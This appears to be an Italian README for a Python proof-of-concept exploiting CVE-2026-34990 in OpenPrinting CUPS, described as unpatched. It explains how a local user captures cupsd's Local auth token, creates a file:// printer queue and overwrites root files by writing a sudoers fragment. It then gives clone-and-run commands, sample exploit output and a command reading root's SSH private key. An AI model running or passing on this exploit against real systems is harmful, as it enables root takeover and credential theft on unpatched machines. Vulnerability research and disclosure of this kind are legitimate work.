
Proof-of-concept in Python per CVE-2026-34990 in OpenPrinting CUPS, che costringe cupsd a divulgare un token di autenticazione Local e a sovrascrivere file di root tramite una coda di stampa file://.
CVE-2026-34990 - OpenPrinting CUPS versioni 2.4.16 e precedenti, un utente locale non privilegiato può costringere cupsd ad autenticarsi verso un servizio IPP localhost controllato dall'attaccante con un token riutilizzabile Authorization: Local ... . Quel token è sufficiente per pilotare richieste /admin/ su localhost, e l'attaccante può combinare CUPS-Create-Local-Printer con printer-is-shared=true per rendere persistente una coda file:///... anche se la normale policy FileDevice rifiuta tali URI. Stampare su quella coda consente una sovrascrittura arbitraria di file come root; il PoC seguente usa questa primitiva per inserire un frammento sudoers e dimostrare l'esecuzione di comandi come root. Al momento della pubblicazione, non sono disponibili patch pubbliche.
git clone https://github.com/ungabunga-ctf/CVE-2026-34990
cd CVE-2026-34990
python3 CVE-2026-34990.py
python3 CVE-2026-34990.py
CVE-2026-34990 CUPS PoC
[*] Target file: /etc/sudoers.d/aporter
[*] Starting token capture server...
[+] Captured Local token: 7BD0ECC9D367025E50774E0BB08F7B5E
[*] Creating file:// printer...
[+] Vulnerable!
...
...
poi:
sudo -n cat /root/.ssh/id_rsa